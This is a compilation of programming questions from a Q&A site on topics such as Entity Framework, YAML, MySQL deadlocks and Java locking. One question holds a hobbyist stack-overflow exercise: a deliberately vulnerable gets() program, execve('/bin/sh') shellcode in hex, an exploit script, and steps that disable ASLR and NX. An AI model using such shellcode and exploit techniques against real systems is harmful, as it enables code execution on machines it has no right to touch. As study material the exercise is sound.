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• EF4 Generate Database

  - by shaneseaton

  Hi, I am trying my hardest to find the simplest way to create a basic "model first" entity framework example. However I am struggling with the actually generation of the database, particularly the running of the SQL against the database. Tools Visual Studio 2010 SQL Server 2008 Express Process Create a new class project Add a new Server-Database item (mdf) named "Database1.mdf" to the project Add an empty ADO.net Entity Model Create a simple entity (Person: Id, Name) Generate the Script selecting the Database1 connection created for me by visual studio Right click the script editor and select the "Execute SQL..." option Log in to SQLEXPRESS This is where is falls over saying it cant find a database name "Database1". The "problem" is that the SQL server has not had Database1 attached to it. I am 100% positive that Visual Studio use to attach a database to SQLExpress when it created a new database (Step 2). This appears to not be the case any more (even the beta of VS2010 did it). Can someone confirm this? or tell me how to get this to happen? Is there a way that I can modify the TSQL script to use an un-attached database. ie a file. I know I can use SQL Management Studio or sqlcmd to attach the database, but I would ideally like to avoid the solutions as I would like to see the cleanest method of just using visual studio. Ideal Solutions (in order of most prefered) Get visual studio to attach the newly created database Modify the generated SQL to point to file Thanks in advance.

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• Facial recognition/detection PHP or software for photo and video galleries

  - by Peter

  I have a very large photo gallery with thousands of similar people, objects, locations, things. The majority of the people in the photos have their own user accounts and avatar photos to match. There are also logical short lists of people potentially in the photo based on additional data available for each photo. I allow users to tag photos with their friends and people they know but an automated process would be better. I've used photo tagger/finder from face.com integrating with Facebook photos and the Google Picasa photo tagger for personal albums also does the same thing and is exactly what I'm looking to do. Is there a PHP script, API for Google Picasa, face.com or other recognition service or any other open source project that provides server-side facial recognition and/or grouping photos by similarity? Examples: As you can see, various photo sharing sites offer the feature, but are there any that provide an API for images stored on my own server or something extensive enough to link into my own gallery and tagging system? viewdle - Face recognition/Tagging for video PHP - Face detection in pure PHP Xarg OpenCV Face.com - app for finding and tagging photos in Facebook Google Picasa - photo sharing TeraSnaps - photo sharing site Google Portrait - photo grouping from Google Image results FaceOnIt - Video face recognition PittPatt - Detection, Recognition, Video Face Mining BetaFace ChaosFace - Real-time Face Detector

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• Is Berkeley DB XML a viable database backend?

  - by w00t

  Apparently, BDB-XML has been around since at least 2003 but I only recently stumbled upon it on Oracle's website: Berkeley DB XML. Here's the blurb: Oracle Berkeley DB XML is an open source, embeddable XML database with XQuery-based access to documents stored in containers and indexed based on their content. Oracle Berkeley DB XML is built on top of Oracle Berkeley DB and inherits its rich features and attributes. Like Oracle Berkeley DB, it runs in process with the application with no need for human administration. Oracle Berkeley DB XML adds a document parser, XML indexer and XQuery engine on top of Oracle Berkeley DB to enable the fastest, most efficient retrieval of data. To me it seems that the underlying ideas are technically sound and probably more mature than the newer document-based DBs like CouchDB or MongoDB. It has support for C, C++, Ruby and Perl, as far as I can determine. It even has HA-capabilities like automatic replication using a master/slave model with automatic election. However, I can't seem to find any projects that use it. Is there something fundamentally wrong with it? Is the license too onerous? Is it too complicated? Why is it not being used?

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• Can YAML have inheritance?

  - by Jason

  This question involves a lot of symfony but it should be easy enough for someone to follow who only knows YAML and not symfony. My symfony models come from a three-step process: First, I create the tables in MySQL. Second, I run a symfony command (symfony doctrine:build-schema) to convert my table structure into a YAML file. Third, I run another symfony command (symfony doctrine:build-model) to convert the YAML file into PHP code. Here's the problem: there are some tables in the database that I don't want to end up in my symfony code. For example, let's say I have two tables: one called my_table and another called wordpress. The YAML file I end up with might look like this: MyTable: connection: doctrine tableName: my_table Wordpress: connection: doctrine tableName: wordpress That's great except the wordpress table has nothing to do with my symfony models. The result is that every single time I make a change to my database and generate this YAML file, I have to manually remove wordpress. It's annoying! I'd like to be able to create a file called baseConfig.php or something that looks like this: $config = array( 'MyTable' => array( 'connection' => 'doctrine', 'tableName' => 'my_table', ), 'Wordpress' => array( 'connection' => 'doctrine', 'tableName' => 'wordpress', ), ); And then I could have a separate file called config.php or something where I could make modifications to the base config: unset($config['Wordpress']); So my question is: is there any way to convert YAML into executable PHP code (as opposed to load YAML INTO PHP code like what sfYaml::load() does) to achieve this sort of thing? Or is there maybe some other way to achieve YAML inheritance? Thanks, Jason

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• Rotate and Save Image - C#

  - by Taylor

  Hello, I'm trying to rotate and save an image, along with returning a BitmapSource. I pass in the rotation value (90 or -90) and the full path to the image I want to rotate to the method shown here. It works fine if I start and stop my application between calling this method. however, if the application calls rotate multiple times the rotate only happens once. I know the original image must be cached in memory, because if I pass values 90, 180, 270 I see the rotations work. I want to be able to pass in a value of 90 or -90 and have that rotate and save the original image. How can I make the rotate work for each call? Is there a way to clear the cached value of the image? If I don't set the BitmapCacheOption to OnLoad, I am unable to transform and save the image since the image is "being used by another process". public BitmapImage Rotate(int val, string path) { //create a new image from existing file. Image image = new Image(); BitmapImage logo = new BitmapImage(); logo.BeginInit(); logo.CacheOption = BitmapCacheOption.OnLoad; logo.UriSource = new Uri(path); logo.EndInit(); image.Source = logo; BitmapSource img = (BitmapSource)(image.Source); //rotate image and save CachedBitmap cache = new CachedBitmap(img, BitmapCreateOptions.None, BitmapCacheOption.OnLoad); TransformedBitmap tb = new TransformedBitmap(cache, new RotateTransform(val)); TiffBitmapEncoder encoder = new TiffBitmapEncoder(); encoder.Frames.Add(BitmapFrame.Create(tb)); using (FileStream file = File.OpenWrite(path)) { encoder.Save(file); } //update page view BitmapImage bi = new BitmapImage(); bi.BeginInit(); bi.CacheOption = BitmapCacheOption.OnLoad; bi.UriSource = new Uri(path); bi.EndInit(); return bi; }

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• Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

  - by henning

  Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

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• Strange rare out-of-order data received using Indy

  - by Jim

  We're having a bizarre problem with Indy10 where two large strings (a few hundred characters each) that we send out one after the other are appearing at the other end intertwined oddly. This happens extremely infrequently. Each string is a complete XML message terminated with a LF and in general the READ process reads an entire XML message, returning when it sees the LF. The call to actually send the message is protected by a critical section around the call to the IOHandler's writeln method and so it is not possible for two threads to send at the same time. (We're certain the critical section is implemented/working properly). This problem happens very rarely. The symptoms are odd...when we send string A followed by string B what we received at the other end (on the rare occasions where we have failure) is the trailing section of string A by itself (i.e., there's a LF at the end of it) followed by the leading section of string A and then the entire string B followed by a single LF. We've verified that the "timed out" property is not true after the partial read - we log that property after every read that returns content. Also, we know there are no embedded LF characters in the string, as we explicitly replace all non-alphanumeric characters in the string with spaces before appending the LF and sending it. We have log mechanisms inside the critical sections on both the transmission and receiving ends and so we can see this behavior at the "wire". We're completely baffled and wondering (although always the lowest possibility) whether there could be some low-level Indy issues that might cause this issue, e.g., buffers being sent in the wrong order....very hard to believe this could be the issue but we're grasping at straws. Does anyone have any bright ideas?

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• Not able to use 7-Zip to compress stdin and output with stdout?

  - by acidzombie24

  I get the error "Not implemented". I want to compress a file using 7-Zip via stdin then take the data via stdout and do more conversions with my application. In the man page it shows this example: % echo foo | 7z a dummy -tgzip -si -so /dev/null I am using Windows and C#. Results: 7-Zip 4.65 Copyright (c) 1999-2009 Igor Pavlov 2009-02-03 Creating archive StdOut System error: Not implemented Code: public static byte[] a7zipBuf(byte[] b) { string line; var p = new Process(); line = string.Format("a dummy -t7z -si -so "); p.StartInfo.Arguments = line; p.StartInfo.FileName = @"C:\Program Files\7-Zip\7z.exe"; p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; p.StartInfo.CreateNoWindow = true; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.StartInfo.RedirectStandardInput = true; p.Start(); p.StandardInput.BaseStream.Write(b, 0, b.Length); p.StandardInput.Close(); Console.Write(p.StandardError.ReadToEnd()); //Console.Write(p.StandardOutput.ReadToEnd()); return p.StandardOutput.BaseStream.ReadFully(); } Is there another simple way to read the file into memory? Right now I can 1) write to a temporary file and read (easy and can copy/paste some code) 2) use a file pipe (medium? I have never done it) 3) Something else.

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• Making an AJAX WCF Web Service request during an Async Postback

  - by nekno

  I want to provide status updates during a long-running task on an ASP.NET WebForms page with AJAX. Is there a way to get the ScriptManager to execute and process a script for a web service request during an async postback? I have a script on the page that makes a web service request. It runs on page load and periodically using setInterval(). It's running correctly before the async postback is initiated, but it stops running during the async postback, and doesn't run again until after the async postback completes. I have an UpdatePanel with a button to trigger an async postback, which executes the long-running task. I also have an instance of an AJAX WCF Web service that is working correctly to fetch data and present it on the page but, like I said, it doesn't fetch and present the data until after the async postback completes. During the async postback, the long-running task sends updates from the page to the web service. The problem is that I can debug and step through the web service and see that the status updates are correctly set, but the updates aren't retrieved by the client script until the async postback completes. It seems the Script Manager is busy executing the async postback, so it doesn't run my other JavaScript via setInterval() until the postback completes. Is there a way to get the Script Manager, or otherwise, to run the script to fetch data from the WCF web service during the async postback? I've tried various methods of using the PageRequestManager to run the script on the client-side BeginRequest event for the async postback, but it runs the script, then stops processing the code that should be running via setInterval() while the page request executes.

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• playframework auto-test Jenkins CI wait for completion?

  - by notbrain

  I am trying to set up Jenkins CI for a playframework.org application but am having trouble properly launching play after the auto-test command is run. The tests all run fine, but it seems as though my script is launching both play auto-test and play start --%ci at the same time. When the play start --%ci command runs, it gets a pid and everything, but it's not running. FILE: auto-test.sh, jenkins runs this with execute shell #!/bin/bash # pwd is jenkins workspace dir # change into approot dir cd customer-portal; # kill any previous play launches if [ -e "server.pid" ] then kill `cat server.pid`; rm -rf server.pid; fi # drop and re-create the DB mysql --user=USER --password=PASS --host=HOSTNAME < ../setupdb.sql # auto-test the most recent build /usr/local/lib/play/play auto-test; # this is inadequate for waiting for auto-test to complete? # how to wait for actual process completion? # sleep 60; wait; # Conditional start based on tests # Launch normal on pass, test on fail # if [ -e "./test-result/result.passed" ] then /usr/local/lib/play/play start --%ci; exit 0; else /usr/local/lib/play/play test; exit 1; fi

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• Apache and backslashes in mod_rewrite

  - by NuCalTone

  I want to process all incoming requests through a single script (index.php in web-root). So, the following is what currently happens: http://localhost/foo/bar/baz Is routed by Apache (through .htaccess) to: http://localhost/index.php?url=foo/bar/baz This works well, however, in Firefox I am able to do this: http://localhost/foo\ - notice the backslash. And Apache, instead of doing: /index.php?url=foo\ Emits a generic error page saying: Object not found! The requested URL was not found on this server. If you entered the URL manually please check your spelling and try again. If you think this is a server error, please contact the webmaster. Error 404 localhost Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1 Directly going to: http://localhost/index.php?url=foo\ works without issues, however. All the sites that I've seen on the internet seem to be able to handle backslashes gracefully (e.g., http://stackoverflow.com/tags/php\\\\\). I consider this behavior a bug and I want to force Apache to forward backslashes correctly. Here's my .htaccess file in its entirety: RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ index.php?url=$1 [L] How can I make this work properly?

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• Public key of Android project and keystore created in Eclipse?

  - by user578056

  I created an Android project using Eclipse (under Windows FWIW) and let Eclipse create the keypair during the Export Android Application process. I successfully used Eclipse to make a signed release build that is now on the Market. Now I want to now use ProGuard, which I believe means using Ant instead of Eclipse to build. It was a pain, but Ant building works in both debug and release, until it tries to sign the APK. I get: [signjar] jarsigner: Certificate chain not found for: redacted. redacted must reference a valid KeyStore key entry containing a private key and corresponding public key certificate chain. keytool -list -keystore redacted gives me: Keystore type: JKS Keystore provider: SUN Your keystore contains 1 entry redacted, Jan 16, 2011, PrivateKeyEntry, Certificate fingerprint (MD5): BD:0F:70:C1:39:F5:FE:5B:BC:CD:89:0B:C8:66:95:E0 Which brings me to the actual question: where is my public key? I have some sort of public key on my Android Market profile, but is that the pair for my private key? If so, how do I store that in the keystore so that jarsigner will work?

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• Evaluation of environment variables in command run by Java's Runtime.exec()

  - by Tom Duckering

  Hi, I have a scenarios where I have a Java "agent" that runs on a couple of platforms (specifically Windows, Solaris & AIX). I'd like to factor out the differences in filesystem structure by using environment variables in the command line I execute. As far as I can tell there is no way to get the Runtime.exec() method to resolve/evaluate any environment variables referenced in the command String (or array of Strings). I know that if push comes to shove I can write some code to pre-process the command String(s) and resolve enviroment variables by hand (using getEnv() etc). However I'm wondering if there is a smarter way to do this since I'm sure I'm not the only person wanting to do this and I'm sure there are pitfalls in "knocking up" my own implementation. Your guidance and suggestions are most welcome. edit: I would like to refer to environment variables in the command string using some consistent notation such as $VAR and/or %VAR%. Not fussed which. edit: To be clear I'd like to be able to execute a command such as: perl $SCRIPT_ROOT/somePerlScript.pl args on Windows and Unix hosts using Runtime.exec(). I specify the command in config file that describes a list of jobs to run and it has to be able to work cross platform, hence my thought that an environment variable would be useful to factor out the filesystem differences (/home/username/scripts vs C:\foo\scripts). Hope that helps clarify it. Thanks. Tom

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• Why is Assembly.GetCustomAttributes suddenly throwing TypeLoadException on build machine with Silver

  - by andrej351

  A short while back i had to display the current version of our Silverlight app. After some googling the following code gave me the desired result: var fileVersionAttributes = typeof(MyClass).Assembly. GetCustomAttributes(typeof(AssemblyFileVersionAttribute), false) as AssemblyFileVersionAttribute[]; var version = fileVersionAttributes[0].Version; This worked a treat in our .NET 3.5 Silverlight 3 environment. However, we recently upgraded to .NET 4 and Silverlight 4. We just finished getting our build machine working and found that the unit test for this code was throwing the following exception: Exception Message: System.TypeLoadException: Error 0x80131522. Debugging resource strings are unavailable. See http://go.microsoft.com/fwlink/?linkid=106663&Version=3.0.50106.0&File=mscorrc.dll&Key=0x80131522 at System.ModuleHandle.ResolveType(ModuleHandle module, Int32 typeToken, RuntimeTypeHandle* typeInstArgs, Int32 typeInstCount, RuntimeTypeHandle* methodInstArgs, Int32 methodInstCount) at System.ModuleHandle.ResolveTypeHandle(Int32 typeToken, RuntimeTypeHandle[] typeInstantiationContext, RuntimeTypeHandle[] methodInstantiationContext) at System.Reflection.Module.ResolveType(Int32 metadataToken, Type[] genericTypeArguments, Type[] genericMethodArguments) at System.Reflection.CustomAttribute.FilterCustomAttributeRecord(CustomAttributeRecord caRecord, MetadataImport scope, Assembly& lastAptcaOkAssembly, Module decoratedModule, MetadataToken decoratedToken, RuntimeType attributeFilterType, Boolean mustBeInheritable, Object[] attributes, IList derivedAttributes, RuntimeType& attributeType, RuntimeMethodHandle& ctor, Boolean& ctorHasParameters, Boolean& isVarArg) at System.Reflection.CustomAttribute.GetCustomAttributes(Module decoratedModule, Int32 decoratedMetadataToken, Int32 pcaCount, RuntimeType attributeFilterType, Boolean mustBeInheritable, IList derivedAttributes, Boolean isDecoratedTargetSecurityTransparent) at System.Reflection.CustomAttribute.GetCustomAttributes(Module decoratedModule, Int32 decoratedMetadataToken, Int32 pcaCount, RuntimeType attributeFilterType, Boolean isDecoratedTargetSecurityTransparent) at System.Reflection.CustomAttribute.GetCustomAttributes(Assembly assembly, Type caType) at System.Reflection.Assembly.GetCustomAttributes(Type attributeType, Boolean inherit) at MyCode.VersionTest() I have never seen this exception before and the link in it points nowhere. It is only throwing on the build machine and not on my development box, so i'm going through a process of trial and error to see any differences between the two. Any idea why this might be happening?? Cheers, Andrej.

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• Marshalling C# com items when using recursion

  - by Kevin

  I am using the SourceSafe COM object (SourceSafeTypeLib) from C# to automate a SourceSafe recursive get (part of a larger build process). The recursive function is shown below. How do I ensure that all the COM objects created in the foreach loop get released correctly? /// <summary> /// Recursively gets files/projects from SourceSafe (this is a recursive function). /// </summary> /// <param name="vssItem">The VSSItem to get</param> private void GetChangedFiles(VSSItem vssItem) { // 'If the object is a file perform the diff, // 'If not, it is a project, so use recursion to go through it if(vssItem.Type == (int)VSSItemType.VSSITEM_FILE) { bool bDifferent = false; //file is different bool bNew = false; //file is new //Surround the diff in a try-catch block. If a file is new(doesn't exist on //the local filesystem) an error will be thrown. Catch this error and record it //as a new file. try { bDifferent = vssItem.get_IsDifferent(vssItem.LocalSpec); } catch { //File doesn't exist bDifferent = true; bNew = true; } //If the File is different(or new), get it and log the message if(bDifferent) { if(bNew) { clsLog.WriteLine("Getting " + vssItem.Spec); } else { clsLog.WriteLine("Replacing " + vssItem.Spec); } string strGetPath = vssItem.LocalSpec; vssItem.Get(ref strGetPath, (int)VSSFlags.VSSFLAG_REPREPLACE); } } else //Item is a project, recurse through its sub items { foreach(VSSItem fileItem in vssItem.get_Items(false)) { GetChangedFiles(fileItem); } } }

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• Working around MySQL error "Deadlock found when trying to get lock; try restarting transaction"

  - by Anon Guy

  Hi all: I have a MySQL table with about 5,000,000 rows that are being constantly updated in small ways by parallel Perl processes connecting via DBI. The table has about 10 columns and several indexes. One fairly common operation gives rise to the following error sometimes: DBD::mysql::st execute failed: Deadlock found when trying to get lock; try restarting transaction at Db.pm line 276. The SQL statement that triggers the error is something like this: UPDATE file_table SET a_lock = 'process-1234' WHERE param1 = 'X' AND param2 = 'Y' AND param3 = 'Z' LIMIT 47 The error is triggered only sometimes. I'd estimate in 1% of calls or less. However, it never happened with a small table and has become more common as the database has grown. Note that I am using the a_lock field in file_table to ensure that the four near-identical processes I am running do not try and work on the same row. The limit is designed to break their work into small chunks. I haven't done much tuning on MySQL or DBD::mysql. MySQL is a standard Solaris deployment, and the database connection is set up as follows: my $dsn = "DBI:mysql:database=" . $DbConfig::database . ";host=${DbConfig::hostname};port=${DbConfig::port}"; my $dbh = DBI->connect($dsn, $DbConfig::username, $DbConfig::password, { RaiseError => 1, AutoCommit => 1 }) or die $DBI::errstr; I have seen online that several other people have reported similar errors and that this may be a genuine deadlock situation. I have two questions: What exactly about my situation is causing the error above? Is there a simple way to work around it or lessen its frequency? For example, how exactly do I go about "restarting transaction at Db.pm line 276"? Thanks in advance.

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• SIGABRT error when running MonoTouch application

  - by hambonious

  I'm new to MonoTouch and 9 times out of 10, when I try to run my MonoTouch app on the iPhone simulator (debug mode and regular), I receive a long error output that begins with the following message: Error connecting stdout and stderr (127.0.0.1:10001) Couldn't register com.yourcompany.[appnamehere] with the bootstrap server. Error: unknown error code. This generally means that another instance of this process was already running or is hung in the debugger.Stacktrace: at (wrapper managed-to-native) MonoTouch.UIKit.UIApplication.UIApplicationMain (int,string[],intptr,intptr) <0x00004 at (wrapper managed-to-native) MonoTouch.UIKit.UIApplication.UIApplicationMain (int,string[],intptr,intptr) <0x00004 at MonoTouch.UIKit.UIApplication.Main (string[],string,string) <0x00089 at MonoTouch.UIKit.UIApplication.Main (string[]) <0x00014 at PodcastManager.Application.Main (string[]) <0x00010 at (wrapper runtime-invoke) .runtime_invoke_void_object (object,intptr,intptr,intptr) <0x00043 And ends with: ================================================================= Got a SIGABRT while executing native code. This usually indicates a fatal error in the mono runtime or one of the native libraries used by your application. ================================================================= The weird thing is it will work some of the time. Once, a reboot of my machine did it. Others, just restarting MonoDevelop and/or the simulator. I can provide the entire error output if you think that may help. Any ideas?

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• Limit the number of rows returned on the server side (forced limit)

  - by evolve

  So we have a piece of software which has a poorly written SQL statement which is causing every row from a table to be returned. There are several million rows in the table so this is causing serious memory issues and crashes on our clients machine. The vendor is in the process of creating a patch for the issue, however it is still a few weeks out. In the mean time we were attempting to figure out a method of limiting the number of results returned on the server side just as a temporary fix. I have no real hope of there being a solution, I've looked around and don't really see any ways of doing this, however I'm hoping someone might have an idea. Thank you in advance. EDIT I forgot an important piece of information, we have no access to the source code so we can not change this on the client side where the SQL statement is formed. There is no real server side component, the client just accesses the database directly. Any solution would basically require a procedure, trigger, or some sort of SQL-Server 2008 setting/command.

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• Wrapping mailmessage headers in .net for Sendgrid

  - by mickyjtwin

  Am using SendGrid for some email notifications, specifically utilising their SMTP API's. While they have PHP examples, c# is not so helpful. Essentially, a json string is built that contains the to email addresses, and other custom filters etc, which is then added to a MailMessage header to send. // json string example {"to":["[email protected]", [email protected]", "", ""],"sub":{"<name>":["Name1", Name2"]}} MailMessage m = new MailMessage("[email protected]", "[email protected]"); m.Headers.Add("X-SMTPAPI", jsonString); The problem I am having is that for some MTA's, headers can only be 1000 characters long, and also quoted-principle encoding required only 76 character per line. In their php example, they are splitting the string and adding a linebreak (\n) every 72 characters. While I am doing this in .NET, I am receiving a invalid character exception. After some digging, it seems that pre-.NET4.0 Beta2 MailMessage will not process CLLR characters. Sengrid support is not proving helpful, and looking at ways to make this work?

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• Java Memory Model: reordering and concurrent locks

  - by Steffen Heil

  Hi The java meomry model mandates that synchronize blocks that synchronize on the same monitor enforce a before-after-realtion on the variables modified within those blocks. Example: // in thread A synchronized( lock ) { x = true; } // in thread B synchronized( lock ) { System.out.println( x ); } In this case it is garanteed that thread B will see x==true as long as thread A already passed that synchronized-block. Now I am in the process to rewrite lots of code to use the more flexible (and said to be faster) locks in java.util.concurrent, especially the ReentrantReadWriteLock. So the example looks like this: // in thread A synchronized( lock ) { lock.writeLock().lock(); x = true; lock.writeLock().unlock(); } // in thread B synchronized( lock ) { lock.readLock().lock(); System.out.println( x ); lock.readLock().unlock(); } However, I have not seen any hints within the memory model specification that such locks also imply the nessessary ordering. Looking into the implementation it seems to rely on the access to volatile variables inside AbstractQueuedSynchronizer (for the sun implementation at least). However this is not part of any specification and moreover access to non-volatile variables is not really condsidered covered by the memory barrier given by these variables, is it? So, here are my questions: Is it safe to assume the same ordering as with the "old" synchronized blocks? Is this documented somewhere? Is accessing any volatile variable a memory barrier for any other variable? Regards, Steffen

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• How do I play back a WAV in ActionScript?

  - by Jeremy White

  Please see the class I have created at http://textsnip.com/51013f for parsing a WAVE file in ActionScript 3.0. This class is correctly pulling apart info from the file header & fmt chunks, isolating the data chunk, and creating a new ByteArray to store the data chunk. It takes in an uncompressed WAVE file with a format tag of 1. The WAVE file is embedded into my SWF with the following Flex embed tag: [Embed(source="some_sound.wav", mimeType="application/octet-stream")] public var sound_class:Class; public var wave:WaveFile = new WaveFile(new sound_class()); After the data chunk is separated, the class attempts to make a Sound object that can stream the samples from the data chunk. I'm having issues with the streaming process, probably because I'm not good at math and don't really know what's happening with the bits/bytes, etc. Here are the two documents I'm using as a reference for the WAVE file format: http://www.lightlink.com/tjweber/StripWav/Canon.html https://ccrma.stanford.edu/courses/422/projects/WaveFormat/ Right now, the file IS playing back! In real time, even! But...the sound is really distorted. What's going on?

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• Making a concurrent AJAX WCF Web Service request during an Async Postback

  - by nekno

  I want to provide status updates during a long-running task on an ASP.NET WebForms page with AJAX. Is there a way to get the ScriptManager to execute and process a script for a web service request concurrently with an async postback? I have a script on the page that makes a web service request. It runs on page load and periodically using setInterval(). It's running correctly before the async postback is initiated, but it stops running during the async postback, and doesn't run again until after the async postback completes. I have an UpdatePanel with a button to trigger an async postback, which executes the long-running task. I also have an instance of an AJAX WCF Web service that is working correctly to fetch data and present it on the page but, like I said, it doesn't fetch and present the data until after the async postback completes. During the async postback, the long-running task sends updates from the page to the web service. The problem is that I can debug and step through the web service and see that the status updates are correctly set, but the updates aren't retrieved by the client script until the async postback completes. It seems the Script Manager is busy executing the async postback, so it doesn't run my other JavaScript via setInterval() until the postback completes. Is there a way to get the Script Manager, or otherwise, to run the script to fetch data from the WCF web service during the async postback? I've tried various methods of using the PageRequestManager to run the script on the client-side BeginRequest event for the async postback, but it runs the script, then stops processing the code that should be running via setInterval() while the page request executes.

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• QuickFix Component in Eclipse

  - by Daro Royoss

  My aim is to extend the eclipse QuickFix component and automate the process of solving syntax errors. Basically, the QuickFix component provides a list of solutions and my task is to select the best possible fix and apply it to the buggy code. But, for now I've been requested to print the resolutions for a marker in the console. I've tried to work out a tutorial and I'm kind of stuck right now. The tutorial I've tried to workout is: http://www.informit.com/articles/article.aspx?p=370625&seqNum=21 I've first added the extension in my plugin.xml file <extension point="org.eclipse.ui.ide.markerResolution"> <markerResolutionGenerator markerType="org.eclipse.core.resources.problemmarker" class="org.eclipse.escript.quickfix.QuickFixer"/> </extension> Then i have created the two classes QuickFixer and QuickFix. package quickfixer; import org.eclipse.core.resources.IMarker; import org.eclipse.core.runtime.CoreException; import org.eclipse.ui.IMarkerResolution; import org.eclipse.ui.IMarkerResolutionGenerator; class QuickFixer implements IMarkerResolutionGenerator { public IMarkerResolution[] getResolutions(IMarker arg0) { try { Object problem = arg0.getAttribute("Whatsup"); return new IMarkerResolution[] { new QuickFix("Fix #1 for "+problem), new QuickFix("Fix #2 for "+problem), }; } catch(CoreException e) { return new IMarkerResolution[0]; } } } then the class QuickFix: package quickfixer; import org.eclipse.core.resources.IMarker; import org.eclipse.jface.dialogs.MessageDialog; import org.eclipse.ui.IMarkerResolution; public class QuickFix implements IMarkerResolution { String label; QuickFix(String label) { this.label = label; } public String getLabel() { return label; } public void run(IMarker arg0) { MessageDialog.openInformation(null, "QuickFix Demo", "This quick-fix is not yet implemented"); System.out.println("Label: " + label); } } I've managed to correct all the errors i encountered and then i have run the plugin. I have not been able to get the label printed out in the console.Any suggestions???...

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• Windows-Mobile Directshow: Specifying bitrate/quality of a WMV video capture

  - by Landstander

  Hi- I'm stumped on this, and I'm really hoping someone could point me in the right direction. I'm currently capturing video in Windows Mobile and encoding it using the WMV 9 DMO (CLSID_CWMV9EncMediaObject). That all works well enough, but the output video's bitrate is too high, resulting in a video file that's much too large for my needs. Ultimately, my goal is to mimic the video settings that Microsoft's Camera Capture Dialog outputs in the "messaging" quality mode (64kbps) from my C++ code. Currently, my code's outputting a WMV file with a bitrate of 352kbps. The only example I could find of specifying the capture bitrate with a WMV9 DMO was this. The idea in that code was basically to use a propertybag to write a bitrate to a property of the DMO. Update: In windows mobile, the closest codec property I can find that seems to equate to the bitrate is "g_wszWMVCVBRQuality". Microsoft's documentation of this property is extremely confusing to me: It basically seems to say that a higher number equates to a higher quality, but it gives absolutely no explanation of the specifics for each number. When I attempt to set this property to value like "1" via a propertybag for the WMV9 DMO, I run into a -2147467259 (unknown) error. To summarize: What is the basic strategy to specify the bitrate/quality of a video being captured via directshow (wmv9) on a windows mobile platform? I've heard (or wondered about) the following methods: Use the propertybag to change the encoder DMO's property that corresponds to bitrate/quality (currently failing) Create your own custom transcoder/encoder to specify it. This seems unnecessary since the WMV encoder works well enough- it's just at too high a bitrate. The VIDEOINFOHEADER has a bitrate property, but I suspect that specifying new settings here will do nothing to alter the actual encoding process since I wouldn't think file attributes would come into play until after the encoding. Any suggestions? PS: I would post specific source code, but at this point it may confuse more than it helps since I'm floundering so much on how to do this. At this point, I'm just trying to validate the general strategy. THANKS!

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• Is there an "embedded DBMS" to support multiple writer applications (processes) on the same db files

  - by Amir Moghimi

  I need to know if there is any embedded DBMS (preferably in Java and not necessarily relational) which supports multiple writer applications (processes) on the same set of db files. BerkeleyDB supports multiple readers but just one writer. I need multiple writers and multiple readers. UPDATE: It is not a multiple connection issue. I mean I do not need multiple connections to a running DBMS application (process) to write data. I need multiple DBMS applications (processes) to commit on the same storage files. HSQLDB, H2, JavaDB (Derby) and MongoDB do not support this feature. I think that there may be some File System limitations that prohibit this. If so, is there a File System that allows multiple writers on a single file? Use Case: The use case is a high-throughput clustered system that intends to store its high-volume business log entries into a SAN storage. Storing business logs in separate files for each server does not fit because query and indexing capabilities are needed on the whole biz logs. Because "a SAN typically is its own network of storage devices that are generally not accessible through the regular network by regular devices", I want to use SAN network bandwidth for logging while cluster LAN bandwidth is being used for other server to server and client to server communications.

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